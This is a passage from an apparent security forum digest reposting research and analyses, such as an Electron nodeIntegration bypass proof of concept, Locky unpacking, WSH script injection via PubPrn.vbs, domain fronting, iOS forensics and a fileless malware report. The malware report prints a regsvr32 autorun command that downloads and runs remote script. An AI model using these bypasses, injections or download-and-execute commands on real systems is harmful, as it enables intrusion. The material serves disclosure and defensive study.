Nytro

https://github.com/t6x/reaver-wps-fork-t6x/wiki/Introducing-a-new-way-to-crack-WPS:-Option--p-with-an-Arbitrary-String

A fost publicata agenda. https://www.owasp.org/index.php/OWASP_Bucharest_AppSec_Conference_2017#tab=Conference_0101_talks https://www.owasp.org/index.php/OWASP_Bucharest_AppSec_Conference_2017#tab=Conference_1010_talks

VMWare?

Pastrezi o referinta globala la "starea curenta" (un pointer de exemplu in C). Apoi, fiecare stare poate sa aiba un vector cu actiunile pe care sa le urmeze (pointer la functie in C) si evenimentele pe care le proceseaza. Cred ca HashMap ar ajuta aici, dar poti face un vector cu o structura cu Event/Pointer si la primirea unui eveniment il parcurgi si daca exista event definit, apelezi functia. Sunt doar cateva idei generale de implementare. Am folosit state machine la Shellcode Compiler, dar nu stiu daca te ajuta cu ceva codul meu.

Publicat pe 7 aug. 2017 In this talk, we recount how we found the first SHA-1 collision. We delve into the challenges we faced from developing a meaningful payload, to scaling the computation to that massive scale, to solving unexpected cryptanalytic challenges that occurred during this endeavor. We discuss the aftermath of the release including the positive changes it brought and its unforeseen consequences. For example it was discovered that SVN is vulnerable to SHA-1 collision attacks only after the WebKit SVN repository was brought down by the commit of a unit-test aimed at verifying that Webkit is immune to collision attacks. Building on the Github and Gmail examples we explain how to use counter-cryptanalysis to mitigate the risk of a collision attacks against software that has yet to move away from SHA-1. Finally we look at the next generation of hash functions and what the future of hash security

Ar fi interesant sa vedem ca "cineva" a avut acces la serverele lor si a introdus acel backdoor. Oricum, dat fiind faptul ca distributia e folosita de multi din domeniul IT security, nu ar fi de mirare sa aiba ceva mai bine ascuns, cu sau fara intentie. Acum ca a aparut si cartea, face cineva un kali from scratch sa putem compara cu binarul (iso) lor?

Oare explica si de ce mai multi utilizatori aveau la MySQL/MariaDB un user cu acces full de la aphrodite.kali.org?

Publicat pe 4 aug. 2017 In this video we figure out how to do a popunder in Chrome version 59, by using a trick. Hopefully Chrome fixes this, because I resent this kind of advertisement. PoC: https://liveoverflow.com/poc/popunder...

Modern Alchemy: Turning XSS into RCE 03 Aug 2017 - Posted by Luca Carettoni TL;DR At the recent Black Hat Briefings 2017, Doyensec’s co-founder Luca Carettoni presented a new research on Electron security. After a quick overview of Electron’s security model, we disclosed design weaknesses and implementation bugs that can be leveraged to compromise any Electron-based application. In particular, we discussed a bypass that would allow reliable Remote Code Execution (RCE) when rendering untrusted content (for example via Cross-Site Scripting) even with framework-level protections in place. In this blog post, we would like to provide insight into the bug and remediations. What’s Electron? While you may not recognize the name, it is likely that you’re already using Electron since it’s running on millions of computers. Slack, Atom, Visual Studio Code, WordPress Desktop, Github Desktop, Basecamp3, Mattermost are just few examples of applications built using this framework. Any time that a traditional web application is ported to desktop, it is likely that the developers used Electron. Understanding the nodeIntegration flag While Electron is based on Chromium’s Content module, it is not a browser. Since it facilitates the construction of complex desktop applications, Electron gives the developer a lot of power. In fact, thanks to the integration with Node.js, JavaScript can access operating system primitives to take full advantage of native desktop mechanisms. It is well understood that rendering untrusted remote/local content with Node integration enabled is dangerous. For this reason, Electron provides two mechanisms to “sandbox” untrusted resources: BrowserWindow mainWindow = new BrowserWindow({ "webPreferences": { "nodeIntegration" : false, "nodeIntegrationInWorker" : false } }); mainWindow.loadURL('https://www.doyensec.com/'); WebView <webview src="https://www.doyensec.com/"></webview> In above examples, the nodeIntegration flag is set to false. JavaScript running in the page won’t have access to global references despite having a Node.js engine running in the renderer process. Hunting for nodeIntegration bypasses It should now be clear why nodeIntegration is a critical security-relevant setting for the framework. A vulnerability in this mechanism could lead to full host compromise from simply rendering untrusted web pages. As modern alchemists, we use this type of flaws to turn traditional XSS into RCE. Since all Electron applications are bundled with the framework code, it is also complicated to fix these issues across the entire ecosystem. During our research, we have extensively analyzed all project code changes to uncover previously discovered bypasses (we counted 6 before v1.6.1) with the goal of studying Electron’s design and weaknesses. Armed with that knowledge, we went for a hunt. By studying the official documentation, we quickly identified a significant deviation from standard browsers caused by Electron’s “glorified” JavaScript APIs. When a new window is created, Electron returns an instance of BrowserWindowProxy. This class can be used to manipulate the child browser window, thus subverting the Same-Origin Policy (SOP). SOP Bypass #1 <script> const win = window.open("https://www.doyensec.com"); win.location = "javascript:alert(document.domain)"; </script> SOP Bypass #2 <script> const win = window.open("https://www.doyensec.com"); win.eval("alert(document.domain)"); </script> The eval mechanism used by the SOP Bypass #2 can be explained with the following diagram: Additional source code review revealed the presence of privileged URLs (similar to browsers’ privileged zones). Combining the SOP-bypass by design with a specific privileged url defined in lib/renderer/init.js, we realized that we could override the nodeIntegration setting. A simple, yet reliable, proof-of-concept of the nodeIntegration bypass affecting all Electron releases prior to 1.6.7 is hereby included: <!DOCTYPE html> <html> <head> <title>nodeIntegration bypass (SOP2RCE)</title> </head> <body> <script> document.write("Current location:" + window.location.href + "<br>"); const win = window.open("chrome-devtools://devtools/bundled/inspector.html"); win.eval("const {shell} = require('electron'); shell.openExternal('file:///Applications/Calculator.app');"); </script> </body> </html> On May 10, 2017 we reported this issue to the maintainers via email. In a matter of hours, we received a reply that they were already working on a fix since the privileged chrome-devtools:// was discovered during an internal security activity just few days before our report. In fact, while the latest release on the official website at that time was 1.6.7, the git commit that fixes the privileged url is dated April 24, 2017. The issue was fixed in 1.6.8 (officially released around the 15th of May). All previous versions of Electron and consequently all Electron-based apps were affected. Mitigating nodeIntegration bypass vulnerabilities Keep your application in sync with the latest Electron framework release. When releasing your product, you’re also shipping a bundle composed of Electron, Chromium shared library and Node. Vulnerabilities affecting these components may impact the security of your application. By updating Electron to the latest version, you ensure that critical vulnerabilities (such as nodeIntegration bypasses) are already patched and cannot be exploited to abuse your application. Adopt secure coding practices. The first line of defense for your application is your own code. Common web vulnerabilities, such as Cross-Site Scripting (XSS), have a higher security impact on Electron hence it is highly recommend to adopt secure software development best practices and perform periodic security testing. Know your framework (and its limitations). Certain principles and security mechanisms implemented by modern browsers are not enforced in Electron (e.g. SOP enforcement). Adopt defense in depth mechanisms to mitigate those deficiencies. For more details, please refer to our Electronegativity, A study of Electron Security presentation and Electron Security Checklist white-paper. Use the recent “sandbox” experimental feature. Even with nodeIntegration disabled, the current implementation of Electron does not completely mitigate all risks introduced by loading untrusted resources. As such, it is recommended to enable sandboxing which leverages the native Chromium sandbox. A sandboxed renderer does not have a Node.js environment running (with the exception of preload scripts) and the renderers can only make changes to the system by delegating tasks to the main process via IPC. While still not perfect at the time of writing (there are known security issues, sandbox is not supported for the <webview> tag, etc.) this option should be enabled to provide additional isolation. Sursa: https://blog.doyensec.com/2017/08/03/electron-framework-security.html

Unpacking Locky I will show you how to unpack a Locky sample with OllyDbg. This packer is indeed an easy one. But you will see for yourself. Download the sample from Hybrid-Analysis. An alternative way of unpacking this sample is in this video on my channel: The first thing I always do is a static check with a PE analysis tool like PortexAnalyzer. The image will look as follows and already tell us that the file is packed. Several sections of the file have a high entropy, including the .rdata section. Packer identifies like DIE will not know what was used to pack it, because the packer is a custom one. This is often the case with malware samples. This packer has the quirky characteristic to always add 32-bit Edition to the file version information whilst the other information changes: StringFileInfo --------------- language ID: 0x0409 code page: 0x04b0 CompanyName: Doubtsoftware.com FileDescription: Advanced Task Scheduler 32-bit Edition FileVersion: 4.1.0.612 InternalName: #dvenced Task Scheduler 32-bit Edition LegalCopyright: Copyright © Southsoftware.com, 2002-2015 OriginalFilename: Bifscheduler_edmin.exe ProductName: Advanced Task Scheduler 32-bit Edition ProductVersion: 4.1.0.612 The debug information has a strange, unknown type, hence Portex does not parse it any further: Debug Information ***************** Time Date Stamp: Thu Dec 09 05:07:00 CET 2083 Type: 4102553603 no description available If you look into the binary (tip: search for 'RSDS' to find it with the hex editor) you will see that there is debug path that has been created or modified in a random fashion: Z:\as\28cxkoao\azoozykz\l0t\jx\w9y4cni\jyc6mq3\mvnt.pdb Whilst this does not help to unpack the file, it might help to recognize this custom packer in the future. A check of the strings in the binary and the imports won't get us any further. If you get this sample in a fresh state, you will easily see that this is Locky with dynamic analysis. But once the samples are older and can't find a working C&C, they won't encrypt anymore. Now load the binary with OllyDbg. Don't forget to take a snapshot of your VM at this point. Simply step over with F8 while keeping your eyes open. If you happen to step over the following call you will see that the sample is doing a lot (reload the sample if that happens), so you should step into it instead (press f7). The same happens at the following call, also step into: Just keep on going like this, stepping over calls unless they start to do a lot, and keep your eyes open. At address 0x402364 you might notice that the code writes to the .rdata section (0x417EE on that image). Indeed, if you put a breakpoint to the instruction and watch .rdata in the dump window while running to the breakpoint (F9), you will see how .rdata gets decrypted. The jump to the .rdata section appears in 0x4020F0. Note that push followed by ret equals a jump instruction. This ret instruction will jump to 0x41577A. Compare that with the PortexAnalyzer report or the Memory window in OllyDbg to verify that this virtual address is in the .rdata section. Unfortunately we are not there yet. The decrypted code in the .rdata section is also a packer stub. Step through the code for a while. At some point you will see that the code collects addresses to common DLL functions with GetProcAddress. One of those is RtlDecompressBuffer, which is used by lots of packers to unpack their payload. Break at address 0x415B37. Right-click the value of EAX and click "Follow in Disassembler". You will now see the code of the RtlDecompressBuffer function. Break at the PUSH DWORD PTR [EBP + C] instruction: Now right-click the EDI value and Follow in Dump You will see an empty dump window And after stepping over (F8) the file will unpack in memory. The last thing to do is to open the Memory window and select the right memory area to dump the unpacked executable. Choose the location to save the dump to and you are done. The result is an unpacked Locky as you can verify by checking the strings of the dump or looking at it with a hex editor. Posted 8 hours ago by Karsten Hahn Sursa: http://struppigel.blogspot.de/2017/08/unpacking-locky.html

WSH INJECTION: A CASE STUDY August 3, 2017 by enigma0x3 At BSides Nashville 2017, Casey Smith (@SubTee) and I gave a talk titled Windows Operating System Archaeology. At this talk, we released a handful of offensive techniques that utilized the Component Object Model (COM) in Windows. One such technique described was abusing attacker controlled input passed to calls to GetObject(), which I will be discussing here. Some environments use whitelisting to prevent unsigned Windows Scripting Host (WSH) files from running, especially with the rise of malicious .js or .vbs files. However, by “injecting” our malicious code into a Microsoft signed WSH script, we can bypass such a restriction. Before diving into the different scripts that can be used for injection, it’s important to understand some of the mechanics behind why this works. When abusing injection, we are taking advantage of attacker controlled input passed to GetObject() and then combining that with the “script:” or “scriptlet:” COM monikers. GetObject() This method allows you to access an already instantiated COM object. If there isn’t an instance of the object already (if invoked without a moniker), this call will fail. For example, accessing Microsoft Excel’s COM object via GetObject() would look like this: Set obj = GetObject( , "Excel.Application") For the above to work, an instance of Excel has to be running. You can read more about GetObject() here. COM Monikers While GetObject() is interesting by itself, it only allows us to access an instance of an already instantiated COM object. To get around this, we can implement a COM moniker to facilitate our payload execution. If you aren’t familiar with COM monikers, you can read more about them here. There are various COM monikers on Windows that allow you to instantiate objects in various ways. From an offensive standpoint, you can use these monikers to execute malicious code. That is a topic for another blog post :-). For this post, we will focus on the “script:” and “scriptlet:” monikers. These particular monikers interface with scrobj.dll and help facilitate execution of COM scriptlets, which will be the payload. This was discovered by Casey Smith (@SubTee) and discussed at DerbyCon 2016 as well as blogged about here. An example COM scriptlet will look like this: <?XML version="1.0"?> var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]> </scriptlet> You can also use James Forshaw’s (@tiraniddo) tool DotNetToJScript to extend the JScript/VBScript in the COM Scriptlet, allowing for Win32 API access and even Shellcode execution. When you combine one of these two monikers and various calls to GetObject(), a lot of fun is had. Now that the very brief COM background is over, time to look at an example PubPrn.vbs On Windows 7+, there is a Microsoft Signed WSH script called “PubPrn.vbs,” which resides in “C:\Windows\System32\Printing_Admin_Scripts\en-US”. When looking at this particular script, it becomes apparent that it is taking input provided by the user (via command line arguments) and passing an argument to “GetObject()”. This means that we can run this script and pass it the two arguments it expects. The first argument can be anything and the second argument is the payload via the script: moniker. Note: If you provide a value that isn’t a network address for the first argument (since it expects a ServerName), you can add the “/b” switch to cscript.exe when calling to suppress any additional error messages. Since VBScript relies on COM to perform actions, it is used heavily in numerous Microsoft signed scripts. While this is just one example, there are bound to be others that can be exploited in a similar fashion. I encourage you to go hunting Matt N. Sursa: https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/

iOS 10.3.2 XPC Userland Jailbreak Exploit Tutorial - CVE-2017-7047 by Ian Beer Publicat pe 3 aug. 2017 Just thought I'd make a quick video explaining a bit about the new user land research tool & exploit released by Ian Beer for iOS 10.3.2! Currently this project only allows you to mess with user land processes such as backboardd, launchd, SpringBoard, etc & is DOES NOT provide a method of fully jailbreaking & patching the kernel and installing Cydia and other jailbroken packages onto the device. Download the tool - https://bugs.chromium.org/p/project-z... Thanks for watching! ∎∎∎My Social Media∎∎∎ Twitter - https://bit.ly/2rA593q Website - https://bit.ly/2sDHJiB

Tim MalcomVetter Red Team Leader at Fortune 1. I left my clever profile in my other social network: https://www.linkedin.com/in/malcomvetter Aug 3 Simplifying Domain Fronting Like many things in InfoSec, we complicate concepts with new terms and lingo, but the concepts at their core are simple. “Domain Fronting” is a great example. Domain fronting is a new(ish) technique attackers are using for hiding their command and control traffic to infected computers by masquerading as traffic to trusted servers hosted behind Content Delivery Networks (CDNs). This concept can appear so confusing, but when boiled down to its core, it’s simple: there are two “addresses” for the command and control server and the attacker mismatches them in a careful way. That’s it. Let’s break it down. The first “address” is obvious: the DNS domain name which is passed in each URL, e.g. http://www.example.com. For a normal self-hosted website (no CDN), the HTTP request would look something like this: GET /path/file.html HTTP/1.1 Host: www.example.com …snip… The second “address” is the host header in the HTTP request header (above). In this simplest case, the DNS domain and the host header match. But the host header can mismatch, often by design, especially when the website is hosted behind a CDN. Let’s assume the website owners move www.example.com behind a fake CDN service called examplecdn.com. Clients still send traffic to http://www.example.com as the CDN will be transparent to them, but the CDN assigns a unique host header to the website owners so that the CDN knows to retrieve their site content and not another CDN customer’s content. Let’s assume that host header is abc.examplecdn.comwhich makes a request like this: GET /path/file.html HTTP/1.1 Host: abc.examplecdn.com …snip… The first address of http://www.example.com stays the same. The second “address” (the host header) is now intentionally mismatched, but the website operates as intended — nothing malicious yet. An attacker can exploit this scenario by first signing up for the CDN service (which is typically inexpensive). Let’s assume the CDN assigns the host header value of xyz.examplecdn.com to the attacker. An attacker can masquerade as the trusted server at http://www.example.com by simply configuring infected clients to use the attacker’s host header, so a request would look like this: GET /path/file.html HTTP/1.1 Host: xyz.examplecdn.com …snip… That’s it. It’s just swapping in the attacker’s host header. Simple enough, if the conditions are right, and the attacker can enumerate those conditions through open source intelligence (OSINT), namely: which websites use which CDNs and how to setup service behind the target CDN. In fact, that’s the hardest part of the attack — finding a good domain to masquerade behind that fits the victim. Sprinkle in HTTPS and there’s sort of a mini “race condition” that can be exploited because the encryption happens earlier since it sits at a lower layer in the OSI stack than the HTTP protocol. Not to mention that encryption can make defense more difficult (defenders must decrypt all traffic to inspect internally). These are the steps for HTTPS traffic: 1. Client performs DNS lookup of server (www.example.com) 2. Client initiates a connection to the IP address from the DNS lookup on TCP port 443 3. The server presents a server certificate to begin the TLS tunnel setup a. At this step, the server must anticipate which certificate name the client wants based on the IP address of the server. In this case, the server presents a certificate with www.example.com and not examplecdn.com or someotherexample.com. Virtual hosting multiple websites over HTTPS requires unique IP addresses per VHOST (or wildcard certificates) because TLS/SSL happens before HTTP. 4. The client completes TLS negotiation and submits the first HTTP request, optionally with a host header defined. 5. The server reads the request and may make decisions to present different content based on the value of the host header. Step #5 is when Domain Fronting happens — since attackers simply switch in their host header for the CDN to route what appears to be trusted website traffic to their command and control server instead. Many CDNs label this as a “feature” not a “bug,” but the CDNs are in the best place to prevent the abuse — it’s very difficult for a defender to detect domain fronting, because it requires decrypting all HTTPS connections, logging host headers, and checking for anomalies, which will be prone to false positives (not to mention this requires a ton of data to be collected). A better defensive approach is to simply decrypt all traffic and look for signs of command and control traffic, such as common URL patterns or predictable patterns in the call backs. So that’s it. When you hear “domain fronting” just think: swapping in an attacker’s host header for HTTP traffic to a high reputation website hosted behind a CDN. Sursa: https://medium.com/@malcomvetter/simplifying-domain-fronting-8d23dcb694a0

IOS Forensics POSTED IN FORENSICS ON JULY 25, 2017 1. INTRODUCTION Day by day, Smart phones and tablets are becoming popular, and hence technology used in development to add new features or improve the security of such devices is advancing too fast. iPhone and iPod are the game changer products launched by Apple. Apple operating system (IOS) devices started growing popular in the mobile world. Latest Smart phones or Tablets can perform ideally most of the tasks which could be performed on Laptop or Personal Computers. IOS devices provide larger storage space which could store Emails, Browsing histories, chat histories, Wi-Fi data and GPS data and more. From the forensics perspective, such devices could present lots of useful artifacts during the investigation. There are well-defined procedures to extract and analyze data from IOS devices which are included in this paper. This paper could be divided into the following sections. Introduction to the forensic processes focused towards mobile forensics, Extracting Logical and Physical data from the IOS devices, IOS file system and storage Analysis, Analysis of logical data, data from the iTunes and iCloud back up, Wi-Fi and GPS data. 2. AN OVERVIEW OF MOBILE FORENSICS PROCESSES Mobile forensics is a field of digital forensics which is focused towards mobile devices which are growing very fast. Due to the exponential growth of the mobile market, Importance of mobile forensics has also increased. Mobile phone generally belongs to a single person so analysis of it could reveal lots of personal information. Due to the rapid growth, it also introduced challenges. The ratio of new models designed and launched is very high which makes very difficult to follow similar procedures. Each case or investigation of the new model needs to consider differently and requires following steps which could be different and unique to the case. With these challenges in mobile forensics, syncing mobiles phone to a computer using software becomes easy. One could extract data like SMS, contacts, installed applications, GPS data and emails, deleted data. 2.1 Collection Below steps are recommended to follow during collection of mobile device Note location from where mobile has been collected. It is good practice to take the picture using the camera of the location and mobile phone before starting any progress. Note the status of the device. Whether it’s powered off or on. If it is power on then, check the battery status, network status. Check where the screen is locked. Search for the SIM package and if any cables are located around 2.2 Preservation Preservation of evidence is a very crucial step in digital forensics. If it is very important to maintain evidence integrity throughout the investigation. For mobile forensics below steps are good practice to follow It is possible that attacker could remotely wipe data or any new activity could override the existing data. So, the first step should be to isolate the mobile device from the network. There are several ways that could be followed according to scenario, Removing SIM card Switching to Airplane mode Use Faraday’s Bag or Jammer Chain of Custody – Chain of custody is the document to maintain each record of the Digital evidence from the collection to presentation. It includes details like serial no, case no, locker no, Investigator’s name, time and date of each step, Details of evidence transportation. It is crucial because it keeps track of the Digital evidence. Hashing – Hashing is the method used to prove the integrity of the evidence. MD5 or SHA are widely used algorithms to calculate the Hash values of the evidence. As previously mentioned it is almost impossible to interact mobile device without altering it. But we could calculate the hash value of the extracted data through logical extraction or of the image file extracted through physical extraction. 2.3 Acquisition There are three methods used for the data extraction from the IOS devices. Below overview has been given about each. Physical – It is a bit-to-bit copy of the device and allows recovering deleted data. Unfortunately, with mobile forensic always it is not possible to use this method. File system – This method would extract files which are visible at file system level. Logical – This method allows to extract particular files from the file system like backup taken using iTunes Sometimes needs to perform offensive techniques like password cracking, Jail Breaking. 3. IOS DEVICES AND FILE SYSTEM Apple developed an operating system for iPhone, iPad and iPod Touch which is known as IOS operating system. Devices running on IOS operating system are called IOS devices. 3.1 IOS Devices iPhone Most famous among IOS devices is iPhone which was very popular due to look, Camera, and Features. Total 17 iPhone models were launched till date. Below Table shows Latest iPhone model released and their specifications. iPhoneModel Camera Spec Cellular radio CPU Spec Firmware RAM Storage iPhone 5 Front – 1.2 Mp Rear – 8.0 Mp Up to LTE(4G) CPU speed -1.2 GHZ Instruction Set – ARMv7s IOS 6.0 1GB 16/32/64 GB iPhone 5s Front – 1.2 Mp Rear – 8.0 Mp Up to LTE(4G) CPU speed -1.3 GHZ Instruction Set – ARMv8 IOS 7.0 1GB 16/32/64 GB iPhone 6 Front – 1.2 Mp Rear – 8.0 Mp Up to LTE(4G) CPU speed -1.38 GHZ Instruction Set – ARMv8 IOS 7.0 1GB 16/32/64 GB iPhone 6s Front – 5 Mp Rear – 12.2 Mp Up to LTE(4G) CPU speed -1.85 GHZ Instruction Set – ARMv8 IOS 9.0 2 GB 16/32/64 GB iPhone SE Front – 1.2 Mp Rear – 12.2 Mp Up to LTE(4G) CP U speed -1.85 GHZ Instruction Set – ARMv8 IOS 9.3 2 GB 16/32/64/128 GB iPhone 7 Front – 7 Mp Rear – 12.2 Mp Up to LTE(4G) CPU speed -2.34 GHZ Instruction Set – ARMv8 IOS 10 2 GB 32/64/128 GB Latest iPhone models and specifications iPhone 6, iPhone 6s, iPhone 6 Plus, iPhone 6s Plus, iPhone SE, iPhone 7 and iPhone 7 Plus are the iPhone models which are currently on the market and very popular due to their features. iPad After the Huge success of the iPhone, Apple launched iPad tablet. The first model was simply named iPad or iPad first Generation. It was released after the iPhone 3Gs and before the iPhone 4. Below table shows Latest iPad Models and specifications. iPad Model Camera Spec Cellular Radio CPU Spec Firmware RAM Storage iPad Air Rear 5 Mp UP to LTE (4G) CPU Speed – 1.4 GHZ Instruction Set – ARMv8 IOS 7.0.3 1 GB 16/32/64/128 GB iPad Air2 Rear 8 Mp UP to LTE (4G) CPU Speed – 1.5 GHZ Instruction Set – ARMv8 IOS 8.1 2 GB 16/64/128 GB iPad Pro Rear 8 Mp UP to LTE (4G) CPU Speed – 2.2 GHZ Instruction Set – ARMv8-A IOS 9.1 4 GB 32/128/256 GB iPad (5th Gen) Rear 8 Mp UP to LTE (4G) CPU Speed – 1.85 GHZ Instruction Set – ARMv8 IOS 10.3 2 GB 32/128 GB iPad Pro (2nd Gen) Rear 12 Mp UP to LTE (4G) CPU Speed – 2.38 GHZ Instruction Set – ARMv8 IOS 10.3.2 4 GB 64/256/512 GB iPad mini 4 Rear 8 Mp UP to LTE (4G) CPU Speed – 1.49 GHZ IOS 9.0 2 GB 16/64/128 GB Latest iPad Models and Specifications. iPod First iPod was launched by Apple in 2001. It was known as “First Generation, ” and subsequent have been referred as “Second Generation” and so on. It was initially launched as Music play. As it is grown, it also provided the ability to play Videos and Games to users. The mentioned below smart feature of iPod models it is likely to come across forensic investigation of iPod device. An examiner could retrieve forensic data from storage, browser, gallery, etc. on an iPod. iPod touch has following features Camera, Wi-Fi Capabilities, Safari web browser, Storage and Playback for Audio, Video and Photo, YouTube player, Apps could be installed from App store iPod evolution chart is shown below. Figure. iPod Evolution Chart 3.2 IOS File System HFS+ File system Apple developed Hierarchical File System (HFS) which provides large data sets. Disk formatted with HFS has 512-byte Blocks at Physical level. There are two types of Blocks in the HFS. Logical Blocks, which are numbered from first to last within the volume. They are also the size of 512 bytes same as physical blocks. Allocation blocks are a group of logical blocks used to track data. Allocation blocks are further grouped together called clumps to reduce fragmentation on volume. HFS uses both absolute time (Local time) as well as UNIX time so one can identify the location of the system. HFS files system uses catalog file system to organize data. It uses B * tree (Balanced tree) structure to organize data. Trees are consisting of nodes. When data are added or deleted, it runs the algorithm to keep balance. Figure. Structure of HFS+ File system As seen in above figure, first 1024 bytes are reserved boot blocks. Volume Header – It contains information about the structure of HFS Volume. It keeps track of Catalog ID Numbering and increases it one each time file added. HFS+ volume header also contains signature “H+.” Allocation file – It keeps track of allocation blocks used by the file system. It basically includes a bitmap. Each bit represents the status of the allocation block. If it is set to 1, that means Allocation block is used, and if it is 0, that means allocation block is not used. Extent Overflow file – It consists of a pointer to the extent of the. If the file is larger than eight contiguous allocation blocks, then it uses extents. Catalog File – It organizes data using balanced tree system as mentioned previously. It utilizes to find the location of file or folder within the volume. It also contains the metadata of file like creation and modification date, permissions. Attribute File – It contains the customizable attributes of a file. Startup File – It assists the booting system which does not have built-in ROM support. Actual data is stored in the file system and tracked by the file system. Alternate Volume Header – It is Back up Volume header located at Last 1024 byte of the volume and its 512 bytes long. Last 512 Bytes are reserved. HFSX File System HFSX file system is a variation of HFS+ file system which is used in the Apple mobile devices. There is only one variation which is that it is case sensitive and it allows having two files with similar names but different case. 3.3 Partitions IOS Devices have two types of partitions. System partition and Data Partition System Partition – System partition does not contain more artifacts related to the investigation as it contains mostly system related information like IOS operating system and pre-installed applications. The system partition is a Read-only as visible in below output of Private/etc./fstab. Figure. fstab iPhone has a single disk hence it is denoted as Disk0. The system partition is Disk0s1, and Data Partition is Disk0s2. Figure. System Partition We can find the user configured password from the /private/etc./passwd file as shown below. Figure. Passwd file As seen in above screenshot, mobile and root password hashes can be retrieved from the passwd file. Further using password cracking tool like “John the Ripper” one can get the password. The root password is “Alpine” and which is the default for all the IOS devices. Data Partition Data partition contains user data and can provide lots of artifacts during the investigation. It is Read/Write partition. The structure of this partition has been changed with the different version of the IOS. Below is the screenshot from the IOS device which is running on IOS 7. Figure. Data Partition Below Directories are listed which could be the interest for the artifacts. Keychains – Keychain.db, which contains user password from various applications Logs – General.log: The OS version and Serial number, Lockdown.log – Lockdown Daemon log Mobile – User Data Preferences – system configurations Run – system logs Tmp -manifest.Plist: Plist Back up Root – Caches, Lockdown, and Preferences Property List Files Property lists are the XML files used in the management of configuration of OS and applications. These files contain useful artifacts related to web cookies, email accounts, GPS Map routes and searches system configuration preferences, browsing history and bookmarks. These files could be open to the simple text editor to view the contents. Figure. Plist SQLite Databases Logical extraction of the iPhone could provide lots of SQLite database files as it uses SQLite databases to store user data, the tool SQLite browser is used to explore and read SQLite database which can be download from http://sqlitebrowser.org/ Main three databases are Call History, Address Book, and SMS databases. These databases could be extracted through applications available like SQLite database Browser as seen in below screenshot. Figure. SQLite Database Browser 4. ACQUISITION OF IOS DEVICES 4.1 Phone Identification During search and seizure, it is necessary that examiner identifies the Phone model. One method is that check the back of the device which contains the model number printed Figure. Model number printed on back of the device Another approach is connecting iPhone to the forensic workstation. Install the library libimobiledevice on your workstation, it supports Windows, MAC and Linux up to 10.3 it can be downloaded from the URL http://www.libimobiledevice.org/ installation steps in details are explained here http://krypted.com/mac-os-x/use-libimobiledevice-to-view-ios-logs/ Regardless of Phone is locked or unlocked; some information can be gathered about connected iDevice using command ideviceinfo as shown in below screenshot. Figure. iDeviceinfo As seen in above figure, we could extract following listed important information about iDevice Device Class, Device Name, WiFiAddress, TelephonyCapability and HardwareModel, IOSversion 4.2 Operating modes of IOS devices IOS devices can be operated in three modes. 1) Normal mode 2) Recovery mode and 3) DFU mode. It is necessary that examiner or Investigator should be aware of this mode as this knowledge is required to decide during the investigation that on which mode device should be operated to extract data or efficient extraction of data. Normal mode When iPhone is switched on, it boots in an operating system, this is normal mode. In normal mode, the user could perform all regular activities. Normal mode boot process consists of three steps: Low-Level Bootloader, iBook and iOS kernel. These boot steps are signed to keep the integrity of the process. Recovery Mode The device enters into recovery mode if during the normal boot process if any step is failed to load or verify. The screenshot below shows the screen during recovery mode. Figure. Screen during Recovery mode This mode is used to perform upgrades or restore iPhone device. iPhone can be entered in recovery mode by following below steps Turn off device by holding power button on the top of the device Hold home button of phone and connect it to computer using USB cable Keep holding home button till Connect to the iPhone screen doesn’t appear and then home button could be released. Reboot device to exit the recovery mode DFU mode Device Firmware Upgrade mode is used to perform IOS upgrading, and it is a low-level mode for diagnosis. During boot up, if Boot ROM is not getting a load or verify, then iPhone presents the Black screen. The phone should be in DFU mode while using most acquisition techniques. Below steps needs to be performed to enter iPhone in a DFU mode. Install iTunes on a Forensic workstation and connect Phone to the forensic workstation using USB. Switch off Phone Hold power button for 3 seconds Hold home button with power button hold for 10 seconds Release the power button and hold home button still didn’t get alerted in iTunes that iPhone in recovery mode has been detected by iTunes. Articol complet: http://resources.infosecinstitute.com/ios-forensics/

A Look at JS_POWMET, a Completely Fileless Malware Posted on:August 2, 2017 at 7:00 am Posted in:Malware Author: Trend Micro By Michael Villanueva As cybercriminals start to focus on pulling off attacks without leaving a trace, fileless malware, such as the recent SOREBRECT ransomware, will become a more common attack method. However, many of these malware are fileless only while entering a user’s system, as they eventually reveal themselves when they execute their payload. Attacks that use completely fileless malware are a rare occurrence, so we thought it important to discuss a new trojan known as JS_POWMET (Detected by Trend Micro as JS_POWMET.DE), which arrives via an autostart registry procedure. By utilizing a completely fileless infection chain, the malware will be more difficult to analyze using a sandbox, making it more difficult for anti-malware engineers to examine. Initial reports from our Smart Protection Network (SPN) data reveals JS_POWMET affecting APAC the most, with almost 90% of the infections coming from the region. Technical Details Figure 1: JS_POWMET infection Diagram Although the exact method of arrival is still not certain, it is likely that the trojan is downloaded by users that visit malicious sites, or as a file that is dropped by other malware. What is clear about this malware is that the following registry has already been changed by the time it is downloaded into the system. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run COM+ = “regsvr32 /s /n /u /i:{Malicious URL, downloads JS_POWMET} scrobj.dll” JS_POWMET is downloaded via an autostart registry entry (shown above). Here are the descriptions for the following parameters used by “regsvr32”: /s = silent option for regsvr32 /n = tells regsvr32 not to use DllRegisterServer /u = Unregister server/object /i = used for passing an optional parameter (ie. URL) to DLLinstall scrobj.dll = Microsoft’s Script Component Runtime In this method, a URL was given to regsvr32 as a parameter, which will make regsvr32 capable of fetching the file (XML with malicious JavaScript) found on the URL. Due to this routine, regsvr32 will become capable of executing arbitrary scripts without saving the XML file on the machine/system. In particular, whenever the affected machine starts up, it will automatically download the malicious file from its Command & Control (C&C) server. Once JS_POWMET is executed, it will then download another file known as TROJ_PSINJECT (Detected by Trend Micro as TROJ_PSINJECT.A). This file is a Powershell script that runs under the process of Powershell. TROJ_PSINJECT will connect to the following website: hxxps://bogerando[.]ru/favicon This allows TROJ_PSINJECT to download a normal file called favicon. The favicon file will then be decrypted and injected into its process using ReflectivePELoader, which is used for injecting EXE/DLL files. To deobfuscate the malware code, it uses the following techniques. Initially, the malware contains Base64 Strings that will be decoded and decrypted using the RC4 key (which is hard-coded into the malware code). The resulting decrypted strings will be a GZIP-compressed string that is decompressed by the malware itself using the GZIP-decompression routine. This results in the codes for the ReflectivePELoader function that will be used to load the decrypted downloaded file. Favicon will also be decrypted using the aforementioned RC4 key, resulting in a malicious DLL file known as BKDR_ANDROM (Detected by Trend Micro as BKDR_ANDROM.ETIN). Again, this part of the process is also fileless; the file will not be saved into the machine but rather injected into the powershell.exe process. All of these routines will be executed by the malware using PowerShell commands. Figure 2: TROJ_PSINJECT code showing the deobfuscation process BKDR_ANDROM will terminate powershell.exe if it is found running in the system. In addition, it will also gather the following data: Root 